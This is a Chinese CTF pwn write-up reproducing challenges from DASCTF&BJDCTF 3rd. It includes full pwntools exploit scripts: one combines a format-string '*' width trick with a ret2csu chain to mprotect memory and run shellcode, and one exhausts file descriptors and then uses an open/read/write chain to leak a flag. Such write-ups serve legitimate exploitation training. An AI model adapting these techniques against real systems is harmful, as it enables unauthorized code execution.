DASCTF&BJDCTF 3rd 三道PWN题复现

最近看了一下上次安恒五月赛没做出的几道PWN题,感觉自己水平还是不够,还要多学习

easybabystack(格式化字符串*, ret2csu)

这题有个栈溢出漏洞
DASCTF&BJDCTF 3rd 三道PWN题复现_第1张图片
但是必须输入正确的密码,否则就直接退出了
DASCTF&BJDCTF 3rd 三道PWN题复现_第2张图片
还有个格式化字符串漏洞
DASCTF&BJDCTF 3rd 三道PWN题复现_第3张图片
字符串长度为12
DASCTF&BJDCTF 3rd 三道PWN题复现_第4张图片
由于密码是/dev/urandom生成的,无法预测。
这里需要利用格式化字符串漏洞的’*'号

%*num$d从栈中取变量作为N
比如num$处的值是0x100,那么这个格式化字符串就相当于%256d

而密码位于18$的位置,我们使用%*18$c就可以打印出密码那么长的字符串,然后%5$n写到输入的密码处即可
不过这里如果密码太大可能会失败,需要多试几次,数字比较小的时候容易成功
完成后用ret2csu就能getshell

from pwn import *

#r = remote("183.129.189.60", 10001)
r = process("./easybabystack")
context(arch='amd64', os='linux', log_level='debug')
DEBUG = 1
if DEBUG:
	gdb.attach(r, 
	'''	
	b *0x4014A5
	b *0x401512
	b *0x4016C7
	b *0x401726
	b *0x40171D
	c
	''')
r.recvuntil("username: ")
#name = '%p:%p:%p:%p\n'
#name = '%6$p\n'
name = '%*18$c%5$n\n'
r.send(name)
r.recvuntil("passwd: ")
r.sendline('123')

csu1 = 0x40172A
csu2 = 0x401710
mprotect_got = 0x404050
bss = 0x4040D0
read_got = 0x404038
r.recvuntil("message: ")
payload = p64(1)*35
payload += p64(csu1) + p64(0) + p64(1) + p64(0x404000) + p64(0x1000) + p64(7) + p64(mprotect_got) + p64(csu2)
payload += p64(csu1) + p64(0) + p64(1) + p64(0) + p64(bss) + p64(0x1000) + p64(read_got) + p64(csu2)
payload += p64(0)*7 + p64(bss)
r.sendline(payload)
sleep(1)
payload = asm(shellcraft.sh())
r.sendline(payload)
r.interactive()

secret2(文件描述符个数)

C语言中文件描述符只有1024个,为0-1023,本题open之后并没有close,在文件描述符耗尽之后读入均为’\x00’,最后还是利用ret2csu,但是只能orw不能getshell
不能getshell的原因如下:

  1. 如果程序运行到最后执行system,此时文件描述符已经耗尽,而execve还是system好像会执行open,所以不能成功
  2. 运行到栈溢出的地方,此时关闭了stdin,估计是这里的问题
from pwn import *

#r = remote("183.129.189.60", 10051)
r = process("./secret2")
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x401487
	b *0x401601
	c
	''')
context.log_level = 'debug'
elf = ELF("./secret2")
r.recvuntil('name?')
pop_rdi = 0x40161b
pop_rsi_r15 = 0x401619
csu1 = 0x401612
csu2 = 0x4015F8
system = elf.plt['system']
system_got = elf.got['system']
open_plt = elf.plt['open']
read_got = elf.got['read']
write_got = elf.got['write']
bss = 0x4040B0
sh = 0x4021EA
flag = 0x4021DE
payload = 'a'*9
#payload += p64(pop_rdi) + p64(sh) + p64(system)
payload += p64(pop_rdi) + p64(flag) + p64(pop_rsi_r15) + p64(0)*2 + p64(open_plt)
payload += p64(csu1) + p64(0) + p64(1) + p64(read_got) + p64(0) + p64(bss) + p64(0x50) + p64(csu2)
payload += p64(csu1) + p64(0) + p64(1) + p64(write_got) + p64(1) + p64(bss) + p64(0x50) + p64(csu2)
r.sendline(payload)

for i in range(1024):
	r.recvuntil("Secret:")
	r.sendline('KMFL')

for i in range(234):
	r.recvuntil("Secret:")
	r.send(p64(0))


r.interactive()

happyending(libc2.29 off-by-null)

这题暂时还没有看,主要是调试libc2.29太麻烦,先贴一个看雪上面的解析,之后填坑
glibc2.29下的off-by-null

你可能感兴趣的:(CTF复现,pwn,IO,ret2csu)